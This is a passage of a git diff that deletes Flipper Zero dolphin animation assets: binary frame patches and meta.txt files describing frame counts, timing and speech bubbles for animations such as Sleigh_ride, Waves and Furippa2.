z1HkGx0riAHVip(#asV0|sC`AFknlhte}vHTwPEzIK(ZYO4}uR^4UhCbnCK=#0RoRe zHUY8q7)Ty57&ts&mRJQqI91yCe55!Cr-zS(4~~dHTc-KYBXQ~QJVWPIqKC>EK!||{ z=>W(dOn!U{3}6U3Pr&Fv1%(fkgA5-pBp+BEJ#c)a5Q#7lV2}!+eDGoN;AQ(P@dt=~ zJ#X`%Cj>s%S_Ay>7#P?*he7}y@qEAohO;aN0dfxyRtAI+dFC@v5P0xI$RA4uh8+R; zKq~)O7z{(`Kp*b{9{~Pu!=tMYqyh~d|IgqT066p?<^U+fQ-Q#UU;~2Q5c=3IkO&-n zN-zrGeXtmq3^F|c+z*I8p`pWU3IkxcD2N`hkH-OKI1SnThy;ER0ab(P3?Lo!9%KOz RoWK-w;VK8yfHF}jm&jl^EYbh~ diff --git a/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt b/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt deleted file mode 100644 index eed81079d..000000000 --- a/assets/resources/dolphin/L1_Sleigh_ride_128x64/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 18 -Active frames: 19 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 21 -Y: 25 -Text: AAAAaAAAAHHh!! -AlignH: Right -AlignV: Bottom -StartFrame: 30 -EndFrame: 32 diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_0.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_0.bm deleted file mode 100644 index aa7454666240b57190099b0e7bee4a1c218982cc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 443 zcmV;s0Yv@*0Ji}EKZDN$0uSIHI1l_hC_yp+Kl(TXAbno|W$=T8=l=m8m;8S@@YzQ{ z;|Rb;N#%r(j3a>=gaHbAFNy?V2y=iTh|nIN3xE)^1%dz&JnkF-$%E8XcZ>i(fI>Vd z5Iw(>@OfT==l=hI7xD}qsDNN!`ltZ@uzv!$wNvmY>VOIQ1`hro;Hv-Y;lrv`YALe5 zeQW-p>Eg9gpdi1?-~|!V01Nw9XO{x6RUN1Rf7eYZ_2fsd!ydOzcpaw8M zz&!VwudVz(omdZnYYP17oUI#WkCQB3=l9tQ9sTB z_zw-&fPEOiJl|;86}W>&zzHHE01m(n8~{AW<_|#0-wKKkNCXH7Kj4_H2mqb}@t+C| z4`RT=0)!nHa6O3wFai)fVSx4=4FDcUK?j$D{tq~DfWhe;z(>L593>i%&_u;71nvM( zAbH#ah5Uiu0K!lrc+Lr{{DYtcwm1k-J=-Y*pv6RnfN>y)$a-J}C5!@q9}s+;1b%-2 le1E_Khb)7A|KLM6j6fQf$OQZjhS3ME06J$wkB{VRvG5NIyQu&G diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_1.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_1.bm deleted file mode 100644 index a23d250b969fd3914a84d4ad0b4e0594ed714ae5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 448 zcmV;x0YCl$0K5SJKZDN$0uSIHI1l_hC_yp+Kl(TXAbno|W$=T8=l=m8m;8S@@YzQ{ z;|Rb;N#%r(j3a>=gaHbAFNy?V2y=iTh|nIN3xE)^1%dz&JnkF-$%E8XcZ>i&|Iz!v z7)ONy2d@MF{|A-m9)I9afC>lj{euUpAQ%_^ssKCdjDh2-pZGuepaMsMgT9COD!=;p zaO#y>ioCBMTK}jzc&${c{i`gOgIB5@AOOGpcF}Mu^-NYQ0RcN*?e&e_#Fnt92cSJnt0{@k4=QueBotUVi}i(R!tVJP0&c$6z0m1cU?c zK8!F9UIF`e qCxBGs1LOJs|C)vY2p>QFFjxrqJ-!eh;n9Qb{#z^p|A-&J*>B)^bG`)t diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_2.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_2.bm deleted file mode 100644 index cd39b17ec8969063183447fd5463a0ae27cf0fc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 463 zcmV;=0Wkgn0LuXYKZDN$0uSIHI1l_hC_yp+Kl(TXAbno|W$=T8=l=m8m;8S@@YzQ{ z;|Rb;N#%r(j3a>=gaHbAFNy?V2y=iTh|nIN3xE)^1%dz&JnkF-$%E8XcZ>i&|B(B@ z7)ONy2de~c;PSl#&;9=Z91r371`kv~FfaX70C(3J1IJZA@PG9{0s;(p7(3{Hf~)_p zhYzX4sjJHI^{@Jar;62jpc>-IcmYB>Kmj_%v|IoF&)nla2hZT(ZsAHG0OJS|F_1J; zh7Uq0g9qRZ5PQr90ty}gKCBu9An*V~1_!l+0YQh8L>^oMIRFUIIB4)Z;gg5~;6Mau z7{d^H0P-5700b~U1^NM?CX8_waDRXhVaL&cR1QK9Fo2ST5MK-qf&_;ZgWLc^eyBlU z1mOTTfCfSG2gd=DQ~>z?0q%Ps0rCOvUJwBY#t;sF@r;Th4`h(Kh-h#y`yfmJf5=Gw F2F$Z&xby%3 diff --git a/assets/resources/dolphin/L1_Waves_128x50/frame_3.bm b/assets/resources/dolphin/L1_Waves_128x50/frame_3.bm deleted file mode 100644 index 2d5452d7c931fbcc2cb933335456f4f647e40ed1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 472 zcmV;}0Vn=gaHbAFNy?V2y=iTh|nHi$bZ7%2`qtNfCU&xjsD@l446GH(}dvs zFE{{vaOZb}7~jC+JSY*k;4|fUUw}h;2cP@?m>s}Yx~e#<`w ztE$Z+sDKB0%MeL$Dzl)ehzbsX7zFqpAaQmb@~Ryl@OVN)fU1LxEGW@{e*xqIAJ{zr z2l!u)zyvQs2e{;1MAR?={4f6ic>sj^AO-9Ygj6^He8M1l2>3kVfcKtI0prjIzxw|O z;AqjKpeBrP{E!>~aDRy*s2{{0lfV$p5@mtVK%fzTNnj3zU<(!cp#=tsOomDXAo+d< zq5x2_&;#T6S2+xT2gnD%fM95H2f0we_W*|j_u>Bl2*`o&{%(o@fsFSbfb|Gv1PCYK OI$#3+K!3#e8!QB;G|RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%w_<{$@5kvxz0fQxIgkl7w0B8|NsF;XAJ_#fLl;I)@34o*qEd+qX!Sf*hMj;#& zDFfXWF*roRK%kmL0!a{t1L{e9q$h?!{DXtuDgUUHhd~E0#!LT`0uSM?UKtQA-7L0R1hYVN712hFV6ap|Gd#F&xVj&O%T7YCsC@?+hkO&~K){|ERc09Xc%RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%w_<{$@5kvxz0fQxIgkl7w0B8|NsF;XAJ_#fLl;I)@34o*qEd+qX!Sf*hMj;#- zhvFU&bXdgU6A1)8g%pSck|7N6Kvv`cStat2o)xIj0q+$5)Jj5s8V7>@4_uf3CUraT zJ@H@t8^mB33H#*02g>>B-i6?ggY0}i1Nhtl?f=u@2gCe>zz{4CAjyA%LmmgftZ*Ol z2&`Kd|CfOWfNUQCgg^&?$xq9oP8t32KJijWfCur9ql23PCV+uU{r_LbGzf9{;63me zpdoND@G$&cKxN>#t6Ts!pc!5v&W~N`v`S)hAOpq;!UQk`SUd+J7>EKe0pf8G f13UojemDXL)Ive`i@Ey%2ET*(n*auOz(3#s%S5EX diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_10.bm deleted file mode 100644 index c5312e5e5a820aa4379d24bfda9c4e3a6c296f8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 465 zcmV;?0WSUl0L=ma|KJ!1JOBb92k?KvV|ai<1QYz9hz1J~2hIcX0~p1CgIV|t0%5=@ zSun5w`-VUukO3HgE-(-8gboCi*f7LHlA#oMki-Dc9wdEcFgU`3ATxj=M-Bu3hlAJe z1_Bj>;eQ(miEr(rzy}T-4@vmuCID3D#ndPOCK}D<0GEJ3z=sR83SEjo^TZX!IK-3> ziNINn5C^BCGGK6e{VeAfmnYNr-w(X}2yp-9oF4V?A^-pJuzS}*>FzTkF3V*x;2tB9J0MLWRxxj&o+Jp}~{F*?nWid2Jyde1>pZ*FDh=qV2UziX+ zED^wYUSK5g2etzS1TFe?zy&~B9{?XR02xcc=YWHh6b4apN=5XjI9KX?h!Y8XA|2#F`05eA_3Di@J)Nb`;Ym%t`9dA(X8 z2xA!h!RrWO7=TX<4>Yid1Rr#W1wpVVVUYvoKo7<-s>ojD@ogA9WF`fO0g{*xBzr)@ zLIoR`JYp*P;9np(2!R2B2Oz(L#EyUig8+xIdw|dZ_vE;P#t1?X1b+8pA;ANu0sP;Y H1;juD{u;iw diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_11.bm deleted file mode 100644 index c91ed2fd23efc317a9fec7f9244f5ecf26bfdaf6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 698 zcmV;r0!94+0JZ}EfFeKmfrIjX59|Np9uLp{LL3k1U_W#*kbcNuF#vwR<^cS;@vIO) zd(Z#CF}ve9B@qX-JRV&5#tfn=$M69PXF`dC-_IZZ0Sk>X2aoI?k-rCw2tNFDh(7RG z1aJsF{OCR-a1Q{$x3&;_+0i069sK5s4--KE3qB7Yqr`7u@&FI;)>rrp1JI!=ED16{ zi|2eOP$&mL2sL^*JbV9r{(!)9X&8`x@E~~0{Q&eFj|1S45O~kx-2i$rMgb51`=XFY z{7@c~_&7X%AB}K5FZveQ1B3uPee_r!fBx`1X5jOjOTpql6S(+u|M*Be_!7x95WXpK zPLKW!4>$%49$ov|$bZxR2|R!U30bH0tOFAfIQ$(2*5D`?RtQVL>}ORfY^cfK@wo4#6MrnKs|tmU<0WTLH;XP z27sI(^o9V%@FvkNl$ajh@M$c>{x_Jwy*v;P#4Z6m2#gaC7YC$sfA@mGI8b;bBL5Hv zl>>p}ulg3lJ^Tm<|BIl5$ALfoSM3lU2l@jagnjXN6H#zK_4KgJKlR@P9)Acv7K8uq zuhJkK&-_qkJ@}dkx*z}k{!f7M-}}L#m&pO;={q_P6AHB35AhFN`%)TJ2HpaDrD0~`qk(=2CEZ z0f)!)C5Sy^VDfDd6n=P6c!CNF4@>zJeV5sIJm5g`(0}*gLcxQ{tS}II8iWXe@eB|E zXaM&oh#-OHDi9%W;4^FixNpGtzyG;6_}9XI3LFReE(ABI%&-txX8^(=_6Q6zF#`F| z%pwXHSUm6OQH)?em-v`H|E9r!(1@c42fM^ULUj;%Vgc))|K1Fy>Kb?a9=!ZL{EAT6 z1w0;~ugGj@5C#axa1?NQe1YPw7#HjRdiZJo@l^SIcmMtl`T!3dm;X)wiUZI8-@skq zAn}sVy5IRje7^$Wz<=Pt@uKiS==&f4;{o%GgT|Nt_kZdD@qLIqwsLTI)$jj*{(v4o zPrv8!!7vCsb@%_@{(}R60SDkA5P1JeqyPQ^#q2GC2cG?kAOw2~a6#jN_us+G|A+7a f<$u2eTmSC}k$89X5PN_N?%5stv_aF0B#1shQS}MQ diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_13.bm deleted file mode 100644 index aa5353e988d02785f45759a024931abe7d580086..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 584 zcmV-O0=NAE07L@+fII=<4*+-rz#ahb2Y@^IANT|F;Rk?x!S}#`z&(Kbz(C*~0DZs# zKZbz<@kP z-_ZGk-W5OxmVe$YUN}5vRseX=FaHn!_#S((c=Kc+^8fh5iJ!HD#(O>ojswBL|KI=9 zyXAl$Ey0L`%fG>Z-}v0Uoqw17zfWUvCftXMrUwwc* zFdOIv=nzr}54)K^iv!95wSa!G^7S~tJCHd1P#$^^c)jswmy;2(?+ml*DY%6Tpaje?1R4~z?+C+R@JB71OJ%^j$i~g#Q}fdP!0e4@$U+bI{^s# z3(Nlv;0TA07lYt1>XG_?f57p%{4ekc#4b7D#lRpxNFUrDAR+mp#tHC`{fFbU28aM| z{|{g!U}Yi1z%rjedF|ox@OZ&E5DPI#e_na`JbB{LzW^w(J#=94pcIrmEe`+y diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_14.bm deleted file mode 100644 index 837c6c71defd8be280776e7881817fc68276b5d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 610 zcmV-o0-gN<0A2$B|KVUk{Q*P)Fi?2?0rvt2kDwoLFnIg{_W=j^KOjHgdBMT)0R98a zDj@jq1I#KQ_}~M|;Q;Id;{Xp%fIlVx`hWxc9=`B>kL(_GhKz#+o><3>gVG5B{Tt>8 z4;U5;!}CwXJVamY_&z)lfe}FLAMe0Dt_H!Nasoqr`-9r~&_@VJU>l>0Krj6W95O)w zgJlpe;FN#haR>y*&>wsRUrhppDF-nZ{sYsG|A@(;VDX@2Js+@oPGA%6%nc+tE0kSi zuxJH>Lj(tm3qcDYD|B!X2tYh=AoBP#)&UWmL9h@2c-lSS_KA8RbO;895vb?`+9^1J zKqL|g{UbmRX+$ywAO;Ttt3U_0LJkiYg@OTE2b}yKQ3wz`aF!;BgU_B1DFg(5A@ZVV zdEoJzgVn$w5#o2S;PHin%RrqGp+G;L5P3mC<-mYJ58@9VCwyLBV0pmdiSdjD2SN@Q z8NBEa$N2-wgZ=&g0qGDH4O%!v8W;Zm|NDc@SRg@@1ImB)|6{@DKq!m?&N3Yo|NZ%| zgUlq?4N0o0xY&yEj|qzoQt^FED>06iEa;GRJCuV4t{^!eXG#1C2(0)+vGdoW=5 z-AFJnC>}#T4`yhz^{KA$Q(_^4>({vevs<0996^* wNHeH?5Gg=DU|{j6KxP1O`UB1b0N_Ay5Dfv)f$A(Dg8+f^cz{o!766F@+?Nvri2wiq diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_15.bm deleted file mode 100644 index 0000a886313b8c265743efe166ccfd156492d830..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 740 zcmV2edpMFaQvP#()oKH^LrM60rl^I503^{{iLsHy|)^ z0P@TO$c~T*6avV`F91BQ2NQrnAQ7N>U;*j-2b3ZK1#_7gbPDB+UsoNaWG5dPb%aa%Ma{d z|DEDsz@&x(4~zyiF!OMK^XY*gSOo$Hj1CRJ{O`H{==f-1o&bS^#{qtz;s2(wI1VBV zR2T#eE<0=n8}}~2CKq!|)qA>9R0!Kjw;7H&PBItkNnc#WQA#nkC@B-!W2amiSaeM(VZUFM|55zur z3vdiz5rDaP0mKg|26UD%2yi^UB;p606xKKhI6S}qaC+Xa&=0^Es2%ZpVYol}I2f=O W5qn`E9|>4I?g03JC zA2bOE00<&62h@N_MMD3>!RtVd0SE*!_y@oqya2gi1HuI$kb}V0E5g61P?e66wYH9giI33j52{(AdrB`gVf+cal;Nwlp<4z0LlXagupw1_IjTN zArTdbFoEVNECQfnMiC(pJ>mfYBMcB;p<UWSb^&U9gP8?HUvQ}Q-S!Aj0Rwr5P2)idN68af)NZK2tD!;9ESo92@?RI zh6)clN5Vq^MF;@_GKB&s2`okA)ew0}AXG>YEJP^P6xl@}IEWEAK;n-a1iZRX z2$W|b1X>6jLFI4qM!wUzT z3Mdau03?0jVqgpk5>2tL|o-Vkkr_W=P; Xi41@f1_$-wIw13am}x#>`Gy0~KbO0F diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_17.bm deleted file mode 100644 index edccc7396ec68d5dd2a861017a681b2763c1a4c1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 451 zcmV;!0X+Tz0KWkM6hI%*fPX>)+z)6lKcGPUz(7I#PwD_arU3pz{4gKTMmK;k_{2d3 zDe-;_GJ(K9|L_=t*8Igk0EA=6#lS<%$2b#|96X)?8DOCw>-+=J90#Cef#ZOI;2`rr zNu*W-zzdWr%n2f(z=7vr0gnR~(2t^UO zA(FI0F%QWy6vBy!gahH8Qk*0~K(B;I3|a{RiG$`r{)|F6C{hQyEMjnpgn_!C1EfGC zkqBTsfDa_TQWL`<{z1X-6#vvpL!g70V9{3ED{Pb`z z{6$QLp%MGwB+w8k2!*2@&>_PW@qo<%P6Ysrd;zFN8>kq@Vj&QFT7bk%C@{HXFbbps z2rLtU1Ka>0(GCd2hUf-62Y?DM5-X@w>^KMRlm@CSfA0hhpbq?iBy zfrHw>1U~>!W5l;g-C!L zl0W%Q5+I;30>DxO7J@)xVEK@LqY#b?6oKxG7@Q(uAZRcEsSpVyLKqJ)14%EGgz(5e zkZ^m&KlKuj=pg18$$#=-LHsq$0JyLIj0iCIxqugy^V7gQ1=t6u@PYIH)8HS)UkBB| z3OoV&8U!AM(Ju(SP^F9i%fST<2d;7ffXPqKM*|0_D59#990~of7zs24E{z!Gfesk2 zj0R{5a3};|KKD?ejKo492DJdlm{4VjjSi^*f(s2~KnDhha7H8miwA%hFA@Mo0zNrV r1;+vWK@bLD3)BEMcz`zG59&Zam1IO9e?TBI0DiqhA5j1hwgdnmDfpDF diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_2.bm deleted file mode 100644 index ade67d1016ab61cb52596c9cc607f61b30ea100a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 402 zcmV;D0d4*P0FD6wcmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 zgM;h+e}H-;fa$RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%w_<{$@5k!K2A>j55m7)=dhC$9x0x1;}5y*hZ0qjX1{HF;JzCZ!*0Z0s52?33R z=0X09LO3Q-pM%{NF*roR1;7Wq0+9fcL@|&bgnSO2M@{~-Pg z`;~HE{G0+20RKS2?~4EE)P?_Wjes7!ub!O9I1l(BLGqFw1^f^<3jjTT`f_mi55+jR z1Km0&ija90cgzFaY_m wD@TC`afymcg5DYcK17NS<{sClcm>^jCiVOk07yZoxc~qF diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_3.bm deleted file mode 100644 index d05e8ae2b4715a5e6ec362ef63a96ac6b1ce0895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 374 zcmV-+0g3(r0CE8Ucmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 zgM;h+e}H-;fa$RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%w_<{$@5kvxz0fQxIgkl7w0B8|NsF;XAJ_#fLl;I)@34o*qEd+qX!Sf*hMj;#& zDFfXWF*roRK%kmL0!a{t1L{e9q$h?!{DXtuDgUUHhd~F9crWf%$$#=-LHr>E9{8{R zj0iCIxmW?~%K7Qw9sn@V0rs9Cc-#a+4^RG|0RAfc0&#E$xFEOz!H-S>?oAT#&^!?M z@I5hq`FIqefboIDfyaQ!PuYh9Cx`)}s*_NOaYN-MfPqLvEg0s34j2(2`(}Wr0)R#X z?{x|o%tRspYfub{g$4(`QUL@O8pwbS4G`drNC6fP05D!80E`5E0ALM{1NglICNEF` U+2R1(fIq1K{-6W=AK?E4z^3n-*Z=?k diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_4.bm deleted file mode 100644 index 5aef127622c6a77c35d1a33e111aca2f49d2cd7a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 440 zcmV;p0Z0A;0JH%Bcmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 zgM;h+e}H-;fa$RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%wQ2`JD;DPdlQ6Qhld>|g7Vzfdr5Xd~@AP-m(NT`^OL^FU;NF#G0!h2Z~y z1R(cN8C*Xf{P;cXKr)^X2ObZ4qyh;5PLIO|QJBX8IyZ~}K5Pon;6dDCVv^vuhJX)| iB7^yeKn#up`Kn+F;5Z-vw}E#gL;;=wcV7v;e+58OX1XQ- diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_5.bm deleted file mode 100644 index 3be1790d74ca3b2fce974f633aaa7e01de7b81dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 449 zcmV;y0Y3f#0KEYKcmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 zgM;h+e}H-;fa$RjDQco7?di^2q-W;Yyl#|@IeI_2duyZItm^@#xMy0JwnA$ zkjM}vKnJWaK2Zt~@UX!3f(ObGM1p@I_<(wbO3?_!Lm=~rfee5J0x1;}5y*hZ0qjX1 z{HF;Jz89VW0Z0s52?33R=0X09LO3Q-pM%{NF*roR1;7Wq0+9fcL@|&bgnSA&^yK02ABu5sl|h@N4$1{oLzFaIwB3HU+d1BXKa<$%dg$HIOkbHE~@p#TZ^fDM3?0*L%z2j+mt z{9*Ua0Sm$Z00=?upfb3AKl$)`+JI#|APzhp^+*H~0G%I(45KlQ0(5T}0DRaLqrii> r#Kk4SZw&w+B1H%D5P%sR2lG_G6~J&n0dE5CNQeVG0`9&Odj1N48I-`J diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_6.bm deleted file mode 100644 index c457e78771463e34c9357d1c8dd27ddc2984d33c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 466 zcmV;@0WJOk0L}pbcmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iRsfe-*w zfDrs3;Bv47+x>rldLw{xzzM_vcnBT>4>S>w0AN7$;0#I?W&{)(2oFKAa4@_OK}G@V zFaZvNhmakVf)Ec#zzAv*83F{T0QH6k${|970Y?oG2cXod5Q-!d`47Yc)G}6xMj{yp zoJ1lZ^g5KniHPJtWB~RgkN#7Hh+hlBu4oECV$etoY#%ZY^kNagGK~Bl=&^~yCJ-(F zJ>V3G1d<_)fczui_mW>J5(*px@ec+gprW7pj{%53$UlPqrmA>d!Z<8ZJ_q1bSFfAr+x@E?kC zaFs!uqz@$MpN>5^kU`GLIxQa1~30F0txs*;{%670p)fI+{{RRR diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_7.bm deleted file mode 100644 index 7e83e14a5ae80fed0dfe4163d65bc5bb431613e6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 350 zcmV-k0ipf@09pY6cmu#50PqKZJOSVj0C)qy9suwMfII=<0ssHtVC(QeU=iSb&HzL3 zgM;h+e}H-;fa$RjDQco7?di^51Rl;u)Gj_%m726q2vr=0C>O%Y7!X&24R8n zh)|%w_<{$@5kvxz0fQxIgkl7w0B8|NsF;XAJ_#fLl;I)@34o*qEd+qX!Sf*hMj;#& zDFfXWF*roRK%kmL0!a{t1L{e9q$h?!{DXtuDgUUHhd~E0#!LT`0uSM?UKtQA-7L0R1hYVN712hFV6ap|Gd#F&xVj&O%T7YCsC@?+hkO&~K){|ERc09Xc%0uQ)60v!(r zR{%IO3BW$C0V41N>M#Q=83LhzGJ-(C^9BKwAP8Uv4IDx~4vYZk^aVmUI1ua{fP7E@ zhakcO;=ltb^g{%2i2(?>Fo=jgCIcd#L*yt3hzN^^2B5%|)sXl>LGuU!4I}vrfdk=u zQjhdr1%S2iy=^F@Sx>ClCl=KKu}Lc!TT!I0STn5Zzz{xC8jTfC7gD R_?^t!2l=@{{txc}J^=C5d%XYv diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm b/assets/resources/dolphin/L2_Furippa2_128x64/frame_9.bm deleted file mode 100644 index 269e5b1d860d851c52cc46fe88b260d4ba0f9a9b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 317 zcmV-D0mA+P0675wcmu#50PqKZJOSVj0C)qy9{}J$VSx>WL;?FSkOOc32Y^r@AJ6zg zZx9F%f(HPHgW~}KfkyzNa2Lb^4S){_RDtggh*$vU1_!_XK^QuqJ|N+vyhMTVj~yS< zRu5?Tz<>q%l!Mr|GXOFDX=n(91Jb4sgGzO3?r{gO9X`5w;sv+>RPy2AV{`xuwRpaA zI)DZs1xQicLF*6$EGgh1g_J=6$94!I?6c8+M zaHrubuL1@SQ}U7|9|VDR$ss@pRaQI$8=1_lq)tCP%rP)h-~V2@}Tv@jpB0&{>Hz`W`JKd=njggbmVMfl(rNH|CM PkTM7aMhFL+tl;4G_Y8T; diff --git a/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt b/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt deleted file mode 100644 index 8b01676f5..000000000 --- a/assets/resources/dolphin/L2_Furippa2_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 11 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_0.bm deleted file mode 100644 index 3ff70a91699daba73b1e15ad953597404f21fd73..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 543 zcmV+)0^t1t02>1TfII=<4*+-rz#ahb2Y@^Q;12+J0B`Jbzys%g6hLdw|K0cqe5e5T z@Be+^{ICCh;P->@0qgMt6&wa%nfN_FVDqCCi~Yd<1JYxS;(zF%kh%paaHZP5cASF948q4a5Hr#4N}<5C6Ua`VWl;A`dt!&`zW8hy%nv!0~`!f5G&n zWP#@b2aE++H9-6W$_4okq)X%vEBp)|gZKxW6XYLBC-@&f|JZ%E;Prrm#$y!ZgW3_| z2bg_v;Pdkb*T@eqyaXQM_5Fj?o!c9`#aq|Apyq2d!Ju$TE2Y z(jhqNLO%fV_)uUL0C{jf^9sN`RpSeXBSap5&;5e&4ERJ~5FvPj&j3dr2R;wr4~z_6 zzW{iR4gwb-0E5U}Ao2K5@DLxxRKm7gw!T;ge!Qv$-0kBDfIJLkx z_$%1iFc1$N{sDOZ4TcAPFBp8ImR@_1@VA>6y~llIsgt14`B1)1DF5+ diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_1.bm deleted file mode 100644 index ed11583f8f8149118f44b8da3aa791c579bffa72..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 545 zcmV++0^a=r038DVfII=<4*+-rz#ahb2Y@^Q;12+J0B`Jbzys%g6hLdw|K0cqe5e5T z@Be+^{ICCh;P->@0qgMt6&wa%nfN_Fa~y9I|3)bn`+@uipnT|{AI4rM3b1N{@`-$b?E?IV=Kli+p#0>Y;Cn$nLH!4p|Mnjkrz9R*@Or>O;vZ0X!aP9p z508)@SnzrIgY)-*gWNtpka>Q=>Q5m0&q3u#2Z_9g=S2sIIA9u%H@{W-{fEwt|BnO8 zQOom(#2$k2jRVv69}>a9A0rk5lw+0afPK945PDOA>D$$MzhLo|KnLSK2b4ppyMTJV zV)ZYWJcHxgClhpk_ptl!|MU0<`#=A?gU_)$fcmdt^WTHss!t#Ay)EGNt9n@mPat|k zCml#f;2vKJ3250rBO1N>HKun6_R8bk9J3=_fg1CN3p4_|}^4G7=@#fE+W jd6S9=SST1i2jn~unFHUzUl<4D{~rgExRvGrM(KmhGyew= diff --git a/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm b/assets/resources/dolphin/L2_Hacking_pc_128x64/frame_2.bm deleted file mode 100644 index 41850505b54db86c1a371b051d9d4d1a5eee03da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 548 zcmV+<0^9uo03ZVYfII=<4*+-rz#ahb2Y@^Q;12+J0B`Jbzys%g6hLdw|K0cqe5e5T z@Be+^{ICCh;P->@0qgMt6&wa%nfN_FVDqCCi~Yd<1JYwn{D0`6kh%paaHZL5PFSF948q4a5Hr#4N}<5C6Ua`VWmOBo8<$&`zW8hy%nv!0~`!f5G&L ze1Ycz2aE++H9-6W$_4okq?7y)EBp)|gZKxW6XYLArz9Ug|JZ%E;Prrm#6CVidqO-w z^AD~(9)4i@{z2vUfP>sVzp#3f$bPfXc~Sx5Zy@>6LE;V=2BVGd)qcNw5P4C*@!)w% zIeu{X{>SSY2dC^lC4+!IMl1y=$1B$W`+4Rd^rr*Ux2pAi!Q(1`55{~CD2G#b0QGvs z>R&K<2gkNfCg}g~VfWqt=kO2qfB$y}pJI0b^09*q9fII=<4*+-rz#ahb2Y@^Q;12+J0B`Jbzys%g6hLdw|K0cqe5e5T z@Be+^{ICCh;Q#o6ijF!s2lyU;uzAsdWyk-5NFGxhZxjDT2bAUk&Ih0LUhr?^{AM%& 